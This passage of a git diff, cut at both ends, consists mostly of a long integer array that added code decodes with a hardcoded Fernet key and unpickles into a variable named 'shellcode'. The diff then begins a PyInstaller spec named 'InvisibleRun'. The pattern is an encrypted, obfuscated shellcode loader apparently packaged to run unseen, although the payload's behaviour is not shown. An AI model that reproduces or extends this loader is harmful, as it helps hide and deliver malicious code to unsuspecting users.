93, 72, 104, 15, 11, 77, 95, 94, 93, 100, 12, 76, 95, 13, 12, 36, 102, 101, 113, 15, 94, 111, 84, 64, 0, 78, 101, 78, 95, 29, 89, 36, 108, 10, 93, 11, 19, 10, 97, 114, 102, 72, 83, 17, 94, 3, 85, 106, 89, 12, 3, 87, 29, 77, 101, 19, 68, 78, 91, 112, 96, 81, 11, 15, 100, 82, 12, 111, 36, 0, 89, 3, 107, 13, 101, 17, 97, 100, 107, 11, 101, 80, 29, 36, 68, 11, 112, 100, 0, 111, 99, 12, 76, 81, 17, 104, 85, 107, 112, 75, 91, 109, 106, 92, 109, 99, 81, 110, 12, 103, 94, 102, 27, 86, 82, 76, 111, 109, 13, 109, 101, 96, 26, 27, 76, 73, 93, 105, 109, 98, 106, 64, 77, 69, 36, 64, 105, 26, 10, 16, 12, 113, 107, 93, 1, 2, 111, 80, 94, 97, 89, 103, 94, 94, 84, 93, 36, 111, 87, 73, 27, 10, 29, 8, 1, 104, 88, 102, 89, 94, 10, 86, 68, 13, 107, 3, 92, 71, 84, 78, 80, 95, 111, 110, 13, 94, 69, 94, 106, 27, 73, 112, 19, 93, 15, 72, 104, 3, 103, 80, 78, 96, 105, 98, 26, 82, 97, 3, 0, 10, 19, 110, 36, 108, 15, 1, 79, 12, 108, 95, 109, 26, 26, 97, 72, 81, 78, 97, 15, 93, 8, 103, 72, 12, 10, 71, 78, 102, 88, 83, 85, 100, 106, 10, 100, 81, 84, 83, 98, 72, 78, 69, 81, 85, 27, 90, 101, 91, 108, 27, 101, 103, 105, 106, 86, 105, 93, 105, 105, 95, 114, 110, 110, 111, 3, 105, 11, 69, 95, 92, 17, 85, 81, 84, 17, 98, 64, 104, 91, 104, 79, 68, 91, 85, 12, 69, 68, 111, 86, 96, 86, 75, 112, 86, 26, 112, 112, 94, 85, 112, 86, 12, 114, 90, 110, 114, 82, 0, 98, 15, 64, 108, 88, 79, 12, 89, 70, 19, 92, 10, 19, 15, 110, 88, 84, 88, 64, 99, 76, 27, 84, 86, 114, 83, 12, 105, 26, 103, 90, 97, 90, 98, 79, 99, 75, 112, 81, 73, 36, 90, 114, 1, 70, 70, 72, 105, 36, 83, 12, 114, 89, 109, 73, 104, 15, 68, 71, 105, 82, 99, 114, 106, 93, 26, 19, 8, 0, 12, 78, 101, 83, 81, 107, 114, 90, 104, 88, 0, 88, 8, 77, 104, 27, 106, 93, 8, 84, 104, 78, 1, 94, 75, 103, 112, 95, 111, 70, 85, 102, 84, 113, 98, 64, 94, 29, 113, 71, 64, 26, 29, 114, 3, 86, 78, 108, 89, 71, 26, 29, 19, 17, 70, 94, 77, 1, 86, 84, 97, 0, 16, 71, 17, 98, 73, 12, 101, 82, 108, 72, 104, 86, 16, 81, 100, 91, 86, 106, 100, 69, 15, 76, 29, 111, 19, 71, 89, 26, 104, 97, 111, 16, 19, 2, 107, 100, 10, 13, 86, 68, 73, 26, 3, 112, 16, 98, 82, 87, 95, 94, 78, 68, 64, 108, 102, 92, 81, 77, 108, 26, 101, 94, 113, 108, 72, 16, 93, 113, 77, 16, 69, 96, 112, 103, 70, 107, 113, 82, 12, 36, 15, 69, 100, 103, 73, 76, 109, 93, 8, 71, 36, 11, 10, 95, 95, 29, 73, 11, 87, 112, 84, 19, 83, 71, 87, 10, 101, 98, 76, 64, 108, 79, 71, 112, 91, 10, 70, 93, 16, 114, 26, 112, 94, 12, 113, 82, 12, 102, 87, 8, 17, 8, 111, 10, 112, 79, 105, 17, 81, 73, 64, 102, 10, 84, 102, 86, 114, 106, 84, 81, 83, 70, 64, 110, 91, 27, 112, 95, 99, 75, 83, 110, 11, 92, 99, 81, 98, 96, 93, 68, 88, 2, 108, 26, 78, 81, 11, 77, 16, 94, 98, 26, 99, 80, 114, 80, 104, 88, 109, 75, 26, 110, 12, 1, 111, 75, 0, 99, 106, 87, 2, 80, 99, 96, 75, 68, 92, 110, 101, 78, 93, 16, 71, 15, 108, 69, 93, 98, 94, 10, 8, 17, 98, 80, 68, 85, 114, 27, 11, 86, 12, 90, 71, 91, 1, 111, 75, 1, 29, 75, 27, 82, 107, 111, 95, 102, 26, 110, 27, 90, 102, 83, 78, 68, 3, 113, 27, 105, 92, 97, 83, 19, 71, 29, 71, 101, 70, 12, 12, 109, 101, 107, 70, 73, 97, 110, 98, 102, 105, 1, 1, 3, 107, 83, 105, 64, 86, 17, 68, 19, 85, 27, 76, 68, 86, 95, 83, 100, 98, 3, 88, 16, 73, 113, 83, 27, 105, 17, 82, 69, 87, 95, 76, 99, 82, 105, 100, 114, 79, 1, 106, 114, 12, 81, 16, 17, 78, 110, 17, 86, 80, 70, 11, 98, 112, 91, 27, 91, 77, 64, 77, 105, 13, 2, 113, 105, 77, 75, 101, 17, 71, 86, 89, 114, 112, 8, 71, 85, 105, 87, 102, 106, 100, 36, 36, 16, 78, 107, 71, 114, 72, 97, 79, 85, 106, 95, 26, 75, 95, 100, 88, 2, 3, 106, 36, 70, 110, 68, 97, 84, 15, 78, 96, 13, 101, 13, 91, 88, 110, 71, 36, 114, 82, 87, 8, 3, 105, 29, 111, 29, 73, 84, 19, 64, 29, 68, 88, 90, 104, 83, 36, 27, 109, 111, 99, 19, 106, 84, 68, 71, 109, 91, 70, 93, 87, 68, 13, 97, 105, 69, 0, 84, 73, 0, 97, 10, 89, 112, 83, 2, 79, 90, 72, 112, 36, 15, 78, 64, 64, 114, 96, 91, 13, 78, 94, 80, 113, 97, 93, 83, 29, 12, 95, 85, 92, 104, 109, 29, 107, 101, 107, 94, 19, 114, 87, 88, 87, 10, 114, 100, 108, 85, 86, 69, 15, 88, 36, 16, 76, 111, 11, 82, 1, 10, 89, 81, 72, 29, 95, 17, 71, 16, 17, 96, 26, 106, 88, 90, 95, 79, 97, 27, 96, 27, 69, 83, 36, 108, 105, 71, 85, 87, 111, 78, 19, 98, 13, 85, 1, 96, 91, 70, 17, 3, 13, 107, 90, 113, 11, 97, 88, 85, 10, 69, 68, 13, 100, 112, 15, 68, 113, 111, 82, 86, 112, 77, 89, 73, 102, 107, 27, 89, 109, 70, 94, 100, 99, 69, 106, 8, 3, 19, 95, 64, 17, 113, 106, 70, 8, 29, 71, 97, 98, 16, 76, 92, 88, 12, 2, 104, 68, 12, 91, 29, 75, 69, 0, 2, 71, 89, 104, 69, 83, 79, 78, 109, 17, 91, 91, 84, 79, 27, 36, 16, 91, 98, 27, 72, 10, 77, 90, 82, 104, 89, 93, 94, 8, 27, 106, 105, 88, 29, 99, 112, 1, 107, 10, 97, 87, 95, 94, 112, 13, 1, 110, 109, 3, 108, 72, 89, 75, 114, 78, 73, 110, 83, 86, 102, 75, 11, 101, 69, 26, 111, 72, 108, 113, 88, 113, 76, 0, 90, 78, 109, 26, 98, 86, 75, 89, 114, 12, 104, 98, 90, 10, 105, 69, 89, 93, 83, 10, 104, 15, 97, 109, 27, 105, 98, 92, 29, 64, 16, 83, 92, 81, 13, 92, 108, 15, 94, 69, 86, 100, 90, 81, 99, 112, 103, 13, 72, 80, 3, 111, 92, 102, 79, 64, 81, 29, 12, 109, 84, 64, 79, 72, 82, 109, 19, 112, 106, 98, 12, 75, 29, 89, 90, 64, 89, 90, 114, 93, 77, 109, 85, 73, 91, 69, 19, 69, 69, 108, 1, 36, 26, 106, 19, 80, 72, 108, 69, 90, 94, 29, 3, 105, 11, 94, 68, 79, 1, 75, 104, 73, 102, 112, 0, 3, 111, 8, 77, 92, 97, 98, 76, 8, 96, 1, 82, 89, 100, 83, 81, 8, 12, 110, 96, 70, 108, 85, 8, 26, 90, 12, 70, 90, 86, 81, 104, 0, 97, 26, 86, 13, 8, 112, 109, 1, 84, 84, 97, 89, 8, 107, 91, 69, 71, 2, 0, 27, 94, 11, 11, 85, 87, 113, 105, 26, 2, 27, 27, 11, 12, 90, 68, 107, 98, 112, 108, 8, 27, 112, 17, 86, 11, 104, 73, 101, 76, 86, 79, 112, 26, 26, 103, 110, 86, 84, 96, 100, 72, 64, 108, 113, 15, 81, 114, 26, 77, 86, 1, 0, 1, 72, 103, 75, 103, 77, 96, 77, 79, 91, 108, 102, 108, 84, 8, 112, 16, 105, 90, 110, 107, 11, 93, 108, 100, 102, 2, 27, 100, 92, 3, 88, 71, 90, 95, 64, 92, 100, 86, 81, 77, 108, 104, 113, 86, 36, 79, 91, 68, 72, 87, 85, 36, 110, 80, 84, 70, 0, 11, 36, 106, 109, 112, 110, 109, 80, 72, 1, 78, 113, 99, 92, 75, 70, 88, 71, 95, 87, 84, 81, 81, 16, 73, 78, 92, 90, 85, 99, 84, 82, 1, 105, 82, 68, 108, 84, 90, 81, 68, 109, 94, 103, 103, 84, 77, 110, 89, 108, 75, 77, 102, 71, 29, 29, 0, 73, 114, 106, 99, 1, 107, 71, 92, 29, 87, 111, 16, 19, 101, 70, 106, 77, 109, 72, 1, 91, 107, 64, 27, 13, 69, 99, 2, 113, 71, 81, 26, 113, 80, 76, 29, 86, 88, 13, 1, 113, 68, 2, 78, 71, 77, 11, 73, 93, 114, 108, 72, 3, 0, 91, 11, 98, 100, 109, 80, 8, 107, 36, 98, 2, 80, 102, 19, 113, 83, 78, 27, 113, 26, 11, 71, 78, 13, 107, 89, 85, 95, 84, 110, 94, 36, 27, 87, 101, 3, 97, 15, 8, 103, 105, 73, 91, 36, 75, 111, 99, 78, 13, 75, 70, 86, 95, 93, 77, 110, 69, 19, 19, 101, 88, 89, 93, 86, 102, 99, 27, 104, 77, 106, 27, 81, 36, 107, 19, 111, 95, 77, 81, 113, 88, 101, 90, 26, 68, 2, 27, 75, 113, 88, 80, 100, 19, 98, 17, 15, 98, 1, 12, 2, 11, 13, 27, 2, 89, 8, 103, 112, 99, 102, 64, 11, 110, 29, 85, 97, 19, 78, 17, 111, 101, 99, 97, 105, 36, 108, 113, 92, 110, 102, 75, 12, 72, 106, 3, 84, 73, 109, 88, 98, 90, 87, 3, 79, 97, 17, 83, 78, 86, 114, 88, 96, 95, 70, 15, 27, 3, 19, 78, 75, 13, 114, 29, 88, 71, 90, 102, 114, 96, 13, 85, 94, 89, 16, 70, 90, 70, 83, 101, 19, 73, 69, 102, 83, 78, 10, 29, 10, 88, 11, 26, 79, 2, 97, 109, 94, 108, 82, 82, 89, 92, 111, 36, 93, 10, 90, 95, 73, 75, 36, 103, 113, 85, 112, 108, 94, 84, 93, 109, 102, 19, 72, 102, 17, 111, 12, 71, 99, 83, 0, 100, 71, 73, 97, 0, 17, 72, 11, 87, 86, 108, 80, 100, 94, 71, 8, 85, 98, 95, 77, 81, 0, 29, 92, 107, 78, 72, 82, 113, 73, 105, 87, 77, 82, 11, 69, 77, 101, 11, 92, 76, 99, 8, 103, 89, 90, 82, 82, 2, 70, 85, 98, 109, 10, 1, 13, 106, 98, 112, 70, 112, 89, 109, 27, 36, 90, 70, 73, 111, 101, 13, 103, 90, 75, 73, 26, 12, 69, 71, 98, 15, 109, 79, 111, 90, 75, 26, 98, 73, 110, 107, 73, 113, 86, 114, 109, 81, 29, 29, 94, 27, 99, 92, 95, 108, 93, 85, 91, 112, 111, 17, 109, 89, 101, 98, 83, 78, 72, 0, 71, 12, 110, 90, 95, 80, 95, 2, 101, 113, 105, 97, 36, 90, 1, 97, 100, 88, 75, 69, 17, 106, 13, 84, 0, 104, 83, 71, 16, 8, 27, 114, 88, 69, 0, 19, 96, 75, 84, 93, 68, 103, 97, 27, 79, 75, 73, 114, 71, 96, 72, 111, 106, 91, 92, 106, 71, 10, 89, 98, 12, 0, 72, 110, 16, 0, 95, 0, 106, 69, 91, 79, 10, 95, 72, 76, 69, 80, 90, 73, 102, 99, 16, 101, 99, 26, 84, 97, 27, 72, 16, 75, 69, 96, 83, 83, 102, 82, 99, 108, 100, 86, 1, 114, 103, 2, 78, 90, 105, 98, 2, 105, 36, 87, 100, 100, 90, 16, 93, 87, 101, 16, 85, 11, 100, 10, 93, 100, 73, 70, 70, 69, 81, 10, 17, 29, 106, 91, 97, 0, 1, 92, 87, 29, 1, 19, 12, 19, 78, 94, 101, 8, 101, 72, 99, 101, 107, 76, 109, 100, 95, 101, 29, 107, 108, 98, 0, 112, 10, 84, 102, 73, 72, 114, 99, 19, 88, 89, 68, 0, 71, 95, 109, 64, 99, 69, 107, 84, 85, 104, 101, 16, 12, 110, 82, 109, 82, 3, 83, 103, 112, 109, 86, 112, 85, 88, 77, 13, 3, 105, 88, 10, 64, 69, 90, 26, 112, 72, 80, 75, 101, 82, 26, 76, 73, 11, 96, 102, 29, 87, 16, 26, 110, 109, 11, 11, 76, 26, 91, 36, 0, 106, 97, 19, 108, 3, 98, 3, 29, 11, 110, 75, 83, 106, 92, 106, 17, 3, 114, 19, 111, 12, 70, 95, 93, 17, 1, 107, 88, 114, 68, 71, 92, 107, 102, 102, 10, 88, 76, 98, 107, 96, 82, 76, 89, 12, 8, 88, 68, 81, 93, 0, 87, 87, 110, 77, 72, 82, 12, 1, 88, 0, 36, 110, 89, 89, 80, 71, 94, 78, 96, 97, 17, 112, 81, 71, 102, 29, 102, 86, 71, 89, 107, 70, 92, 111, 72, 26, 29, 84, 100, 81, 77, 10, 8, 86, 17, 8, 109, 86, 90, 81, 86, 13, 84, 36, 108, 85, 76, 94, 68, 91, 113, 72, 26, 36, 101, 29, 15, 99, 102, 108, 81, 8, 109, 96, 75, 27, 19, 68, 94, 106, 79, 10, 95, 90, 83, 76, 27, 96, 96, 79, 16, 79, 110, 80, 26, 111, 87, 2, 76, 72, 36, 89, 101, 75, 99, 100, 1, 96, 89, 73, 1, 3, 107, 19, 76, 0, 77, 73, 112, 111, 73, 108, 75, 105, 89, 110, 12, 19, 99, 101, 85, 97, 102, 100, 98, 69, 64, 83, 101, 87, 107, 13, 27, 81, 112, 105, 96, 86, 109, 89, 107, 106, 106, 84, 72, 72, 78, 111, 100, 100, 114, 69, 84, 16, 15, 70, 17, 87, 75, 88, 87, 19, 8, 8, 17, 69, 3, 3, 71, 16, 97, 90, 75, 114, 113, 104, 2, 114, 101, 101, 96, 86, 113, 1, 8, 104, 88, 68, 81, 0, 105, 0, 109, 19, 64, 26, 10, 105, 113, 86, 77, 100, 73, 103, 8, 72, 80, 3, 85, 12, 0, 81, 70, 88, 77, 8, 112, 81, 87, 95, 107, 10, 99, 76, 76, 36, 83, 27, 89, 93, 104, 86, 92, 112, 80, 72, 111, 82, 27, 110, 94, 78, 110, 71, 109, 114, 11, 82, 107, 106, 110, 10, 100, 3, 114, 104, 71, 113, 76, 88, 0, 27, 108, 100, 100, 79, 27, 105, 92, 13, 85, 112, 99, 92, 71, 112, 95, 84, 27, 13, 2, 91, 2, 114, 111, 27, 10, 11, 0, 80, 17, 109, 88, 8, 77, 95, 15, 68, 88, 83, 78, 107, 112, 13, 79, 71, 108, 68, 13, 73, 100, 69, 84, 70, 1, 8, 98, 0, 16, 104, 70, 102, 84, 1, 114, 109, 111, 1, 64, 100, 101, 8, 36, 83, 27, 85, 16, 2, 106, 114, 69, 15, 99, 104, 81, 105, 82, 11, 78, 76, 98, 76, 91, 13, 104, 84, 86, 105, 114, 98, 8, 114, 98, 101, 94, 87, 13, 104, 83, 69, 114, 64, 68, 80, 10, 95, 78, 77, 112, 105, 8, 1, 90, 3, 8, 91, 91, 101, 108, 0, 83, 89, 69, 2, 70, 114, 100, 82, 86, 69, 100, 15, 13, 27, 100, 81, 87, 78, 11, 77, 85, 107, 78, 70, 68, 17, 69, 81, 72, 8, 85, 29, 110, 99, 94, 8, 94, 98, 99, 77, 78, 3, 16, 19, 101, 85, 72, 85, 11, 81, 84, 68, 81, 8, 75, 76, 8, 113, 88, 3, 89, 72, 103, 0, 2, 15, 96, 107, 81, 29, 114, 86, 68, 83, 68, 27, 89, 64, 93, 87, 13, 3, 71, 108, 3, 96, 102, 101, 12, 85, 17, 108, 2, 114, 17, 77, 96, 90, 92, 82, 11, 73, 13, 1, 96, 69, 16, 104, 72, 19, 109, 86, 113, 107, 81, 114, 106, 29, 29, 69, 12, 93, 78, 95, 36, 91, 69, 96, 94, 89, 82, 75, 112, 1, 89, 95, 103, 95, 102, 106, 101, 112, 114, 102, 85, 13, 11, 73, 72, 108, 96, 81, 111, 19, 64, 19, 106, 103, 73, 101, 68, 106, 109, 91, 27, 69, 80, 3, 86, 93, 103, 73, 17, 29, 111, 87, 13, 99, 16, 107, 69, 68, 12, 107, 81, 92, 97, 75, 96, 80, 64, 76, 13, 100, 73, 98, 100, 94, 105, 88, 114, 97, 100, 71, 78, 79, 91, 98, 91, 29, 109, 81, 16, 17, 87, 99, 100, 95, 72, 16, 36, 94, 70, 10, 88, 101, 79, 85, 87, 95, 13, 26, 80, 86, 103, 2, 95, 73, 36, 89, 92, 87, 108, 26, 109, 92, 111, 70, 110, 105, 78, 71, 8, 2, 27, 0, 0, 86, 69, 104, 96, 27, 15, 2, 109, 88, 101, 29, 68, 72, 97, 78, 96, 85, 29, 82, 64, 70, 103, 92, 112, 76, 11, 36, 100, 17, 109, 108, 98, 107, 73, 90, 12, 76, 76, 113, 105, 76, 26, 36, 2, 96, 90, 70, 64, 29, 92, 17, 94, 77, 96, 96, 64, 83, 97, 110, 111, 70, 1, 93, 95, 91, 91, 19, 80, 12, 1, 98, 36, 70, 12, 105, 90, 102, 89, 26, 91, 12, 29, 104, 78, 36, 3, 3, 69, 83, 109, 71, 71, 8, 77, 109, 73, 94, 36, 107, 89, 92, 100, 109, 99, 82, 15, 94, 101, 113, 10, 109, 98, 102, 95, 64, 93, 114, 69, 15, 78, 106, 75, 86, 86, 15, 12, 12, 110, 84, 102, 86, 77, 15, 15, 70, 16, 80, 93, 82, 11, 106, 19, 17, 72, 82, 17, 99, 91, 86, 109, 104, 64, 73, 114, 113, 106, 94, 83, 75, 69, 69, 68, 94, 104, 12, 70, 79, 27, 10, 91, 108, 8, 81, 92, 26, 85, 79, 88, 91, 90, 69, 101, 29, 13, 17, 87, 112, 82, 73, 93, 91, 111, 85, 98, 16, 114, 16, 72, 3, 89, 100, 81, 77, 82, 76, 108, 97, 93, 68, 81, 88, 88, 99, 107, 82, 111, 78, 112, 64, 8, 86, 97, 68, 97, 27, 106, 88, 29, 107, 112, 109, 68, 88, 83, 73, 1, 88, 68, 108, 91, 111, 100, 94, 111, 101, 13, 12, 15, 76, 76, 91, 75, 114, 71, 98, 92, 84, 110, 75, 106, 97, 98, 108, 91, 103, 26, 82, 27, 3, 89, 108, 108, 13, 102, 82, 12, 80, 79, 75, 13, 79, 113, 86, 13, 0, 108, 89, 70, 102, 87, 87, 96, 19, 97, 76, 15, 76, 68, 88, 2, 87, 103, 83, 77, 102, 0, 99, 77, 76, 103, 101, 11, 73, 3, 90, 77, 110, 89, 106, 27, 75, 80, 90, 93, 16, 96, 27, 10, 105, 79, 94, 105, 114, 82, 13, 100, 82, 3, 3, 72, 69, 96, 26, 113, 75, 106, 10, 89, 27, 69, 96, 27, 98, 83, 98, 90, 78, 106, 96, 111, 102, 15, 78, 109, 89, 79, 15, 36, 75, 70, 99, 105, 113, 87, 36, 106, 82, 104, 77, 110, 81, 101, 93, 101, 102, 112, 78, 86, 12, 108, 95, 36, 72, 13, 97, 72, 15, 68, 2, 8, 84, 29, 111, 73, 90, 26, 70, 15, 12, 75, 77, 88, 104, 110, 0, 72, 13, 110, 103, 96, 64, 8, 81, 108, 110, 114, 76, 19, 104, 0, 104, 99, 73, 8, 87, 71, 26, 103, 103, 3, 15, 112, 87, 85, 10, 16, 12, 3, 71, 105, 27, 101, 76, 81, 85, 75, 87, 99, 93, 16, 81, 106, 102, 85, 114, 100, 36, 110, 70, 0, 114, 76, 97, 106, 109, 10, 107, 113, 89, 16, 112, 68, 13, 93, 95, 93, 90, 75, 101, 95, 77, 88, 17, 99, 113, 16, 90, 101, 78, 90, 86, 104, 29, 96, 19, 107, 87, 2, 84, 89, 98, 103, 91, 104, 83, 98, 111, 102, 111, 108, 95, 96, 83, 27, 68, 64, 103, 1, 104, 17, 17, 29, 90, 94, 89, 29, 114, 70, 92, 86, 73, 94, 19, 13, 10, 17, 27, 69, 78, 107, 95, 113, 82, 111, 81, 64, 76, 70, 78, 87, 0, 26, 98, 85, 100, 90, 13, 10, 8, 64, 73, 1, 79, 81, 113, 70, 36, 76, 92, 80, 12, 93, 71, 75, 3, 87, 98, 107, 26, 64, 104, 113, 98, 88, 10, 64, 114, 17, 11, 91, 68, 73, 101, 0, 75, 106, 110, 73, 0, 110, 94, 70, 102, 77, 93, 83, 108, 107, 107, 27, 78, 100, 88, 71, 76, 113, 3, 93, 71, 89, 96, 99, 79, 106, 97, 89, 17, 2, 113, 71, 2, 10, 19, 16, 2, 26, 12, 13, 105, 106, 102, 95, 69, 29, 112, 105, 11, 107, 3, 68, 92, 101, 112, 111, 81, 97, 26, 102, 107, 82, 112, 87, 99, 82, 12, 69, 112, 87, 104, 92, 2, 0, 70, 88, 0, 84, 11, 84, 1, 102, 87, 81, 13, 15, 99, 104, 98, 105, 71, 36, 17, 10, 16, 94, 70, 96, 88, 12, 78, 12, 19, 79, 86, 101, 82, 102, 29, 96, 93, 27, 1, 111, 107, 91, 64, 100, 71, 104, 95, 87, 89, 78, 1, 114, 70, 104, 103, 70, 111, 76, 111, 98, 97, 29, 88, 109, 16, 101, 3, 26, 73, 97, 82, 19, 69, 68, 95, 91, 16, 88, 89, 85, 95, 12, 99, 98, 110, 0, 17, 108, 16, 111, 10, 80, 1, 82, 102, 87, 83, 19, 77, 86, 10, 77, 109, 16, 85, 71, 72, 27, 78, 26, 80, 90, 92, 72, 89, 26, 78, 110, 86, 93, 92, 8, 73, 108, 36, 76, 100, 68, 106, 17, 89, 75, 13, 15, 8, 64, 87, 70, 15, 97, 82, 114, 80, 0, 8, 68, 0, 0, 90, 16, 99, 81, 12, 85, 3, 84, 77, 112, 89, 84, 73, 99, 113, 101, 105, 64, 78, 13, 109, 84, 99, 17, 19, 76, 93, 15, 26, 15, 83, 11, 8, 87, 99, 97, 101, 101, 94, 106, 97, 80, 64, 84, 19, 90, 11, 104, 97, 105, 15, 85, 98, 72, 78, 101, 2, 75, 64, 95, 29, 91, 101, 36, 106, 105, 100, 71, 19, 1, 16, 111, 98, 101, 101, 97, 86, 3, 15, 27, 70, 29, 102, 103, 114, 107, 79, 78, 75, 103, 98, 89, 10, 90, 75, 11, 112, 77, 27, 13, 85, 109, 27, 109, 107, 108, 84, 27, 27, 3, 86, 29, 111, 101, 69, 12, 106, 114, 88, 19, 77, 85, 1, 95, 69, 89, 100, 97, 69, 76, 92, 2, 36, 90, 2, 104, 15, 36, 86, 81, 94, 13, 78, 102, 82, 100, 99, 8, 26, 108, 108, 13, 10, 26, 108, 16, 107, 82, 102, 90, 73, 76, 113, 2, 78, 98, 69, 84, 86, 10, 19, 73, 94, 83, 106, 114, 103, 104, 10, 110, 86, 107, 10, 13, 3, 83, 36, 17, 103, 108, 26, 92, 100, 68, 96, 71, 87, 19, 72, 64, 109, 15, 89, 104, 96, 110, 2, 94, 19, 86, 36, 8, 64, 29, 82, 2, 81, 29, 1, 97, 10, 112, 71, 78, 3, 83, 93, 72, 113, 86, 94, 89, 15, 15, 103, 88, 78, 96, 78, 106, 86, 68, 29, 107, 29, 84, 13, 91, 69, 94, 3, 113, 3, 86, 0, 87, 101, 107, 19, 79, 71, 80, 0, 99, 19, 88, 15, 112, 80, 76, 68, 106, 103, 2, 110, 112, 102, 2, 103, 85, 76, 76, 19, 108, 89, 99, 96, 15, 79, 12, 84, 64, 107, 3, 82, 106, 102, 91, 98, 17, 19, 112, 73, 110, 93, 90, 97, 112, 108, 96, 78, 95, 87, 27, 89, 0, 107, 94, 86, 78, 27, 108, 101, 10, 94, 103, 87, 85, 90, 19, 100, 19, 27, 99, 101, 71, 87, 111, 27, 13, 110, 98, 102, 98, 64, 107, 109, 80, 88, 19, 80, 79, 86, 77, 84, 114, 87, 88, 98, 111, 81, 77, 79, 8, 19, 101, 2, 84, 70, 70, 106, 84, 106, 80, 96, 86, 106, 11, 64, 108, 97, 97, 101, 87, 114, 81, 82, 103, 88, 92, 98, 13, 11, 70, 90, 91, 98, 16, 1, 15, 77, 12, 78, 105, 75, 26, 27, 90, 105, 91, 76, 26, 68, 27, 105, 97, 113, 90, 90, 105, 104, 110, 93, 26, 99, 90, 106, 70, 113, 83, 92, 94, 17, 64, 106, 68, 73, 107, 96, 107, 96, 70, 19, 64, 12, 0, 36, 110, 100, 3, 13, 94, 10, 19, 96, 90, 89, 72, 82, 106, 104, 105, 89, 85, 0, 83, 83, 78, 104, 15, 95, 71, 112, 98, 15, 108, 85, 111, 99, 13, 2, 94, 81, 76, 92, 87, 103, 106, 36, 101, 13, 102, 91, 17, 72, 64, 69, 64, 83, 73, 86, 98, 95, 84, 12, 97, 19, 15, 110, 8, 99, 91, 15, 79, 68, 106, 94, 102, 92, 99, 98, 87, 108, 29, 100, 70, 111, 0, 1, 79, 104, 13, 109, 26, 113, 114, 99, 99, 3, 84, 111, 87, 103, 36, 89, 70, 69, 79, 72, 70, 89, 2, 90, 89, 3, 113, 97, 88, 80, 13, 94, 91, 76, 106, 15, 112, 10, 87, 81, 111, 104, 76, 80, 85, 69, 111, 79, 96, 13, 3, 89, 36, 3, 108, 83, 88, 111, 81, 36, 89, 19, 96, 102, 92, 1, 97, 72, 103, 114, 79, 91, 86, 111, 81, 108, 90, 96, 103, 109, 114, 1, 77, 82, 111, 85, 15, 95, 13, 85, 96, 107, 73, 80, 11, 12, 12, 64, 83, 109, 15, 90, 93, 1, 80, 19, 113, 85, 27, 26, 96, 29, 64, 8, 108, 104, 99, 94, 101, 101, 17, 97, 105, 90, 69, 82, 77, 94, 13, 113, 104, 110, 101, 90, 93, 86, 82, 10, 64, 83, 79, 86, 73, 90, 98, 27, 112, 84, 71, 100, 73, 11, 27, 76, 104, 15, 96, 69, 17, 102, 85, 19, 86, 111, 79, 108, 79, 99, 101, 109, 17, 19, 108, 79, 87, 95, 19, 82, 101, 81, 102, 79, 112, 84, 102, 76, 75, 98, 106, 84, 110, 109, 92, 2, 87, 3, 79, 113, 1, 98, 68, 101, 3, 19, 113, 68, 80, 2, 36, 107, 107, 103, 108, 10, 82, 109, 109, 10, 76, 0, 3, 110, 94, 88, 110, 94, 100, 96, 10, 99, 69, 113, 0, 64, 109, 105, 71, 80, 111, 114, 72, 17, 87, 100, 11, 69, 26, 91, 10, 27, 76, 68, 100, 8, 83, 69, 26, 105, 104, 69, 1, 89, 80, 73, 96, 84, 93, 12, 111, 82, 69, 69, 94, 114, 107, 76, 80, 68, 68, 69, 10, 107, 70, 78, 27, 0, 17, 107, 15, 27, 3, 99, 80, 11, 8, 83, 27, 13, 112, 89, 90, 99, 77, 105, 75, 72, 99, 19, 90, 94, 100, 113, 101, 103, 19, 102, 114, 8, 114, 12, 15, 8, 105, 96, 76, 27, 104, 103, 13, 70, 81, 111, 90, 27, 79, 114, 73, 89, 87, 3, 80, 111, 85, 100, 2, 81, 94, 111, 84, 105, 101, 3, 3, 106, 2, 102, 84, 113, 0, 16, 19, 103, 109, 80, 86, 98, 81, 80, 84, 70, 90, 84, 92, 110, 87, 81, 68, 69, 98, 29, 80, 16, 68, 79, 82, 96, 78, 110, 1, 27, 10, 0, 80, 80, 102, 104, 19, 17, 99, 90, 114, 113, 15, 64, 0, 0, 109, 19, 112, 68, 16, 114, 2, 90, 106, 11, 111, 114, 19, 11, 113, 27, 3, 78, 104, 96, 80, 71, 68, 84, 17, 92, 90, 98, 19, 29, 96, 71, 86, 76, 36, 111, 89, 102, 93, 107, 29, 84, 26, 77, 73, 64, 13, 80, 70, 73, 71, 81, 70, 75, 0, 72, 2, 93, 8, 68, 11, 85, 104, 109, 110, 107, 3, 26, 16, 100, 90, 13, 85, 68, 99, 102, 89, 81, 2, 112, 105, 105, 78, 111, 90, 36, 68, 82, 69, 107, 68, 109, 93, 100, 107, 97, 75, 92, 112, 8, 15, 27, 29, 112, 87, 19, 109, 19, 109, 64, 103, 88, 80, 19, 15, 100, 1, 29, 77, 80, 97, 3, 29, 19, 29, 92, 26, 72, 111, 101, 78, 101, 103, 79, 96, 80, 2, 91, 72, 106, 101, 87, 68, 103, 88, 93, 77, 0, 70, 109, 70, 101, 86, 90, 19, 69, 93, 114, 64, 10, 78, 12, 19, 1, 29, 94, 76, 93, 77, 26, 99, 95, 64, 79, 80, 97, 2, 64, 19, 95, 36, 109, 2, 102, 82, 106, 19, 70, 86, 97, 77, 98, 70, 82, 27, 72, 85, 90, 87, 103, 108, 104, 36, 107, 13, 106, 8, 36, 112, 90, 86, 70, 2, 88, 84, 68, 92, 110, 100, 97, 3, 109, 106, 94, 101, 108, 89, 70, 64, 103, 88, 69, 86, 77, 107, 91, 10, 19, 105, 88, 3, 107, 27, 104, 99, 88, 0, 112, 89, 90, 82, 94, 97, 82, 79, 94, 77, 79, 79, 82, 104, 87, 81, 94, 91, 93, 98, 69, 101, 64, 100, 1, 112, 100, 107, 26, 113, 64, 107, 13, 8, 0, 12, 29, 89, 110, 109, 83, 86, 88, 87, 71, 103, 75, 97, 16, 76, 81, 88, 98, 98, 103, 85, 17, 111, 105, 100, 13, 72, 109, 88, 2, 96, 3, 103, 104, 8, 105, 75, 29, 80, 64, 94, 27, 76, 98, 80, 92, 83, 1, 95, 96, 2, 0, 71, 8, 75, 10, 71, 72, 0, 2, 105, 69, 36, 72] + +K = b'kLI8WJFEStbBjUzGbxWqF44g-4ofqhdgPJIuujspB-s=' +shellcode=loads(Fernet(K).decrypt(bytes(J(I), encoding = "utf8"))) \ No newline at end of file diff --git a/Invisible/InvisibleRun.spec b/Invisible/InvisibleRun.spec new file mode 100644 index 0000000..9ea87eb --- /dev/null +++ b/Invisible/InvisibleRun.spec @@ -0,0 +1,38 @@ +# -*- mode: python ; coding: utf-8 